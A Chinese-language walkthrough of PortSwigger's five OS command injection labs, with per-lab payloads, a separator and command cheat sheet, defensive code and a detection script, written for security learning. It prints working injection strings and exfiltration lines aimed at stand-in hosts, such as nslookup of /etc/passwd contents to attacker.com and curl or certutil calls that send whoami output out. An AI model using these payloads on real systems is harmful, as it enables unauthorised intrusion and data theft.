# PortSwigger 操作系统命令注入靶场完全攻略(5 个实验全解析)

# 前言

操作系统命令注入(OS Command Injection),也称为 Shell 注入,是 Web 安全中极其危险的漏洞之一。它允许攻击者在运行应用程序的服务器上执行操作系统命令,通常会导致应用程序及其数据的完全泄露。攻击者可以利用此类漏洞危害托管基础设施的其他部分,并利用信任关系将攻击转向组织内的其他系统。

PortSwigger 提供的操作系统命令注入靶场包含 5 个精心设计的实验,涵盖了从基础到高级的各种命令注入技术。本文将详细解析每个实验的原理、攻击步骤和技术要点。

# 什么是操作系统命令注入

操作系统命令注入是一种代码注入漏洞,攻击者能够向应用程序提供包含操作系统命令的恶意输入,这些命令会在服务器上执行。当应用程序将用户输入直接传递给系统 shell 时,就会出现这种漏洞。

# 命令注入的危害

  1. 服务器完全控制:攻击者可以执行任意系统命令
  2. 数据泄露:读取敏感文件和配置信息
  3. 权限提升:利用系统漏洞提升访问权限
  4. 横向渗透:攻击内网其他系统
  5. 持久化控制:安装后门和恶意软件

# 实验环境准备

在开始之前,请确保:

  • 拥有 PortSwigger Academy 账号
  • 熟练使用 BurpSuite 进行抓包和改包
  • 了解基本的 Linux/Windows 命令行操作
  • 理解 HTTP 协议和 Web 应用架构
  • 准备好 Burp Collaborator 用于带外攻击测试

# 实战演练

# 实验 1:操作系统命令注入,简单案例

# 目标描述

该实验室的产品库存检查器中存在操作系统命令注入漏洞。应用程序执行包含用户提供的产品和商店 ID 的 shell 命令,并在响应中返回命令的原始输出。

# 任务目标

执行 whoami 命令以确定当前用户的名称。

# 漏洞分析

应用程序可能执行类似如下的系统命令:

1
stockcheck.sh --product-id=<productId> --store-id=<storeId>

当 storeId 参数直接传递给 shell 时,攻击者可以注入额外的命令。

# 攻击步骤

  1. 访问目标页面:导航到产品库存检查功能
  2. 开启 Burp 拦截:使用 Burp Suite 拦截检查库存的请求
  3. 分析请求参数:观察 productId 和 storeId 参数的传递方式
  4. 注入命令:修改 storeId 参数,注入 whoami 命令

具体 Payload:

1
storeId=1|whoami

# 技术原理

在 Unix/Linux 系统中,管道符 | 用于将前一个命令的输出作为后一个命令的输入:

1
2
3
4
5
# 原始命令
stockcheck.sh --product-id=1 --store-id=1

# 注入后命令
stockcheck.sh --product-id=1 --store-id=1|whoami

这样,系统会先执行库存检查命令,然后执行 whoami 命令,并将结果返回给用户。

# 预期结果

响应中应该包含当前用户的名称,例如:

1
www-data

# 实验 2:带时间延迟的操作系统盲命令注入

# 目标描述

该实验室在反馈功能中包含操作系统盲命令注入漏洞。应用程序执行包含用户提供的详细信息的 shell 命令。命令的输出不会在响应中返回。

# 任务目标

利用操作系统盲命令注入漏洞造成 10 秒的延迟。

# 漏洞分析

盲命令注入的特点是:

  • 命令会被执行,但输出不返回给用户
  • 需要通过其他方式验证命令执行
  • 时间延迟是最常用的验证方法

# 攻击步骤

  1. 定位反馈功能:找到网站的用户反馈表单
  2. 拦截请求:使用 Burp Suite 拦截提交反馈的请求
  3. 分析参数:观察 email 等参数的处理方式
  4. 注入延迟命令:修改 email 参数注入 ping 命令

具体 Payload:

1
email=x||ping+-c+10+127.0.0.1||

# 技术原理

  1. 命令分隔符: || 是 shell 中的 OR 操作符
  2. Ping 命令: ping -c 10 127.0.0.1 会发送 10 个 ICMP 包到本地回环地址
  3. 时间延迟:每个 ping 包间隔 1 秒,总共约 10 秒延迟

1
2
# 注入后的命令逻辑
email=x || ping -c 10 127.0.0.1 ||

当 email 参数为空时,会执行后面的 ping 命令,造成 10 秒延迟。

# 验证方法

观察响应时间,如果延迟约 10 秒,说明命令注入成功。

# 实验 3:具有输出重定向的盲操作系统命令注入

# 目标描述

该实验室在反馈功能中包含操作系统盲命令注入漏洞。应用程序执行包含用户提供的详细信息的 shell 命令。命令的输出不会在响应中返回。但是,您可以使用输出重定向来捕获命令的输出。有一个可写文件夹: /var/www/images/ 。应用程序从此位置提供产品目录的图像。

# 任务目标

执行 whoami 命令并检索输出。

# 漏洞分析

这个实验的关键点:

  • 发现可写目录 /var/www/images/
  • 利用输出重定向将命令结果保存到文件
  • 通过 Web 访问获取文件内容

# 攻击步骤

第一步:写入命令输出到文件

  1. 拦截反馈请求:使用 Burp Suite 拦截提交反馈的请求
  2. 注入重定向命令:修改 email 参数

具体 Payload:

1
email=||whoami>/var/www/images/output.txt||

第二步:访问输出文件

  1. 寻找图片加载功能:找到产品图片加载的请求
  2. 拦截图片请求:使用 Burp Suite 拦截加载产品图像的请求
  3. 修改文件名:将 filename 参数改为 output.txt

具体修改:

1
filename=output.txt

# 技术原理

  1. 输出重定向: > 将命令输出重定向到文件
  2. 文件路径:利用已知的可写目录 /var/www/images/
  3. Web 访问:通过图片加载功能访问写入的文件

1
2
# 命令执行过程
|| whoami > /var/www/images/output.txt ||

# 预期结果

在响应中应该看到 whoami 命令的输出,例如:

1
www-data

# 实验 4:带外交互的盲操作系统命令注入

# 目标描述

该实验室在反馈功能中包含操作系统盲命令注入漏洞。应用程序执行包含用户提供的详细信息的 shell 命令。该命令是异步执行的,对应用程序的响应没有影响。无法将输出重定向到您可以访问的位置。但是,您可以触发与外部域的带外交互。

# 任务目标

利用操作系统盲命令注入漏洞向 Burp Collaborator 发出 DNS 查找。

# 漏洞分析

这个实验的特点:

  • 异步命令执行,不影响响应时间
  • 无法使用输出重定向
  • 必须使用带外(OAST)技术

# 攻击步骤

  1. 获取 Burp Collaborator 客户端:在 Burp Suite 中生成 Collaborator 客户端
  2. 拦截反馈请求:使用 Burp Suite 拦截提交反馈的请求
  3. 注入 DNS 查询命令:修改 email 参数

具体 Payload:

1
email=x||nslookup+x.BURP-COLLABORATOR-SUBDOMAIN||

# 技术原理

  1. DNS 查询: nslookup 命令用于 DNS 域名解析
  2. 带外检测:通过 Collaborator 服务器接收 DNS 查询
  3. 异步执行:命令异步执行,不阻塞应用响应

1
2
# 命令执行逻辑
email=x || nslookup x.BURP-COLLABORATOR-SUBDOMAIN ||

# OAST 技术详解

带外应用安全测试(OAST)是一种通过外部网络交互来检测漏洞的技术:

1
2
# 基本DNS查询带外
& nslookup kgji2ohoyw.web-attacker.com &

# 验证方法

在 Burp Collaborator 客户端中查看是否收到 DNS 查询请求。

# 实验 5:带外数据泄露的盲操作系统命令注入

# 目标描述

该实验室在反馈功能中包含操作系统盲命令注入漏洞。应用程序执行包含用户提供的详细信息的 shell 命令。该命令是异步执行的,对应用程序的响应没有影响。无法将输出重定向到您可以访问的位置。但是,您可以触发与外部域的带外交互。

# 任务目标

执行 whoami 命令并通过 DNS 查询将输出渗透到 Burp Collaborator。需要输入当前用户的名称才能完成实验。

# 漏洞分析

这是最复杂的实验,需要:

  • 执行命令获取数据
  • 将数据编码到 DNS 查询中
  • 通过带外通道泄露数据

# 攻击步骤

  1. 获取 Burp Collaborator 域名:生成新的 Collaborator 子域
  2. 拦截反馈请求:使用 Burp Suite Professional 拦截提交反馈请求
  3. 构造数据泄露 Payload: 修改 email 参数

具体 Payload:

1
email=x||nslookup+`whoami`.zil6so7cbkpvszmjvnkp0v2v3m9dx3ls.oastify.com||

# 技术原理

  1. 命令替换: `whoami` 执行 whoami 命令并替换为输出
  2. DNS 子域:将命令输出作为 DNS 子域的一部分
  3. 数据泄露:通过 DNS 查询将数据传输到外部服务器

1
2
# 完整的命令执行过程
|| nslookup `whoami`.BURP-COLLABORATOR-SUBDOMAIN ||

执行后会生成类似如下的 DNS 查询:

1
wwwuser.zil6so7cbkpvszmjvnkp0v2v3m9dx3ls.oastify.com

# 验证方法

在 Burp Collaborator 中查看 DNS 查询记录,提取用户名部分。

# 数据泄露技术详解

带外数据泄露的核心是将命令输出嵌入到网络请求中:

1
2
# 通用数据泄露模板
& nslookup `whoami`.kgji2ohoyw.web-attacker.com &

这种方法可以泄露各种命令的输出:

1
2
3
4
5
6
7
8
# 泄露当前目录
nslookup `pwd`.attacker.com

# 泄露文件内容
nslookup `cat /etc/passwd`.attacker.com

# 泄露环境变量
nslookup `env`.attacker.com

# 命令注入技术总结

# 常用命令分隔符

分隔符说明示例
;顺序执行多个命令cmd1; cmd2
&&前命令成功才执行后命令cmd1 && cmd2
||前命令失败才执行后命令cmd1 || cmd2
|管道,将输出作为输入cmd1 | cmd2
&后台执行cmd1 & cmd2

# 不同操作系统的命令

# Linux/Unix

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# 信息收集
whoami
id
pwd
ls -la
cat /etc/passwd

# 网络相关
ping -c 4 127.0.0.1
nslookup attacker.com
curl attacker.com
wget attacker.com

# 延迟
sleep 10
ping -c 10 127.0.0.1

# Windows

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 信息收集
whoami
ver
dir
type c:\windows\system32\drivers\etc\hosts

# 网络相关
ping -n 4 127.0.0.1
nslookup attacker.com
certutil -urlcache -split -f http://attacker.com/file.txt

# 延迟
timeout 10
ping -n 10 127.0.0.1

# 带外(OAST)技术

# DNS 带外

1
2
3
4
5
6
# Linux
nslookup `whoami`.attacker.com
dig `whoami`.attacker.com

# Windows
nslookup `whoami`.attacker.com

# HTTP 带外

1
2
3
4
5
6
# Linux
curl http://attacker.com/data?$(whoami)
wget http://attacker.com/data?$(whoami)

# Windows
certutil -urlcache -split -f http://attacker.com/data?%USERNAME%

# 防御措施

# 1. 避免调用系统命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
# 不安全的做法
import os
user_input = request.GET.get('input')
os.system(f'ping {user_input}')

# 安全的做法
import subprocess
import shlex

def safe_ping(host):
try:
# 使用白名单验证
if not re.match(r'^[a-zA-Z0-9.-]+$', host):
raise ValueError("Invalid host")

# 使用参数化调用
result = subprocess.run(['ping', '-c', '4', host],
capture_output=True, text=True, timeout=30)
return result.stdout
except Exception as e:
logger.error(f"Ping failed: {e}")
return None

# 2. 输入验证和过滤

1
2
3
4
5
6
7
8
9
10
11
12
13
// Java输入验证示例
public boolean validateInput(String input) {
// 只允许字母、数字、点号和连字符
String pattern = "^[a-zA-Z0-9.-]+$";
return input.matches(pattern) && input.length() < 100;
}

// 使用白名单
private static final Set<String> ALLOWED_COMMANDS = Set.of("ping", "traceroute");

public boolean isCommandAllowed(String command) {
return ALLOWED_COMMANDS.contains(command.toLowerCase());
}

# 3. 使用安全的 API

1
2
3
4
5
6
7
8
9
10
// 不安全的做法
$command = "ping " . $_GET['host'];
system($command);

// 安全的做法
$host = filter_var($_GET['host'], FILTER_VALIDATE_IP);
if ($host !== false) {
$result = shell_exec("ping -c 4 " . escapeshellarg($host));
echo htmlspecialchars($result);
}

# 4. 权限控制

1
2
3
4
5
# 创建受限用户
useradd -r -s /bin/false webuser

# 使用sudo限制命令执行
echo "webuser ALL=(ALL) NOPASSWD: /usr/bin/ping, /usr/bin/traceroute" >> /etc/sudoers

# 5. WAF 防护

部署 Web 应用防火墙,配置规则检测和阻止命令注入攻击:

1
2
3
4
5
6
# Nginx规则示例
location ~* \.(php|jsp|asp)$ {
if ($args ~* "[;&|`$()]") {
return 403;
}
}

# 自动化检测工具

# Burp Suite 插件

  1. Intruder: 自动化 fuzzing 测试
  2. Collaborator Client: 带外攻击检测
  3. Turbo Intruder: 高速自动化测试

# 自定义检测脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import requests
import time
import re

def test_command_injection(url, param):
"""测试命令注入漏洞"""

# 基础payloads
payloads = [
"; whoami",
"|| whoami",
"| whoami",
"& whoami",
"&& whoami",
"`whoami`",
"$(whoami)"
]

for payload in payloads:
data = {param: payload}

start_time = time.time()
response = requests.post(url, data=data)
end_time = time.time()

# 检查响应中是否包含命令输出
if re.search(r'root|www-data|administrator', response.text, re.IGNORECASE):
print(f"Possible command injection with payload: {payload}")

# 检查时间延迟(盲注)
if end_time - start_time > 5:
print(f"Possible blind command injection with payload: {payload}")

# 使用示例
test_command_injection("http://example.com/feedback", "email")

# 总结

通过 PortSwigger 操作系统命令注入靶场的 5 个实验,我们系统学习了:

  1. 基础命令注入:直接执行命令并获取输出
  2. 盲注技术:通过时间延迟验证命令执行
  3. 输出重定向:将命令结果保存到可访问文件
  4. 带外检测:使用 DNS 查询验证漏洞存在
  5. 数据泄露:通过带外通道获取敏感信息

# 关键技术要点

  • 命令分隔符:熟练使用各种命令分隔符
  • 输出处理:理解不同场景下的输出获取方法
  • 带外技术:掌握 DNS 和 HTTP 带外攻击技术
  • 自动化:使用工具提高检测和利用效率

# 防御最佳实践

  1. 避免系统调用:尽量避免直接调用系统命令
  2. 输入验证:严格的白名单验证
  3. 权限最小化:使用最小必要权限
  4. 安全编码:使用安全的 API 和编码规范
  5. 监控审计:部署检测和监控机制

操作系统命令注入虽然是一个相对 "古老" 的漏洞,但在实际应用中仍然普遍存在。掌握其原理和利用方法,不仅有助于渗透测试工作,更重要的是帮助开发者编写更安全的代码,构建更安全的 Web 应用。

# 参考资源


免责声明:本文内容仅用于教育目的,请勿在未授权的情况下对他人系统进行测试。所有安全测试都应在获得明确授权的环境中进行。

已有0条评论
  • 快来做第一个评论的人吧~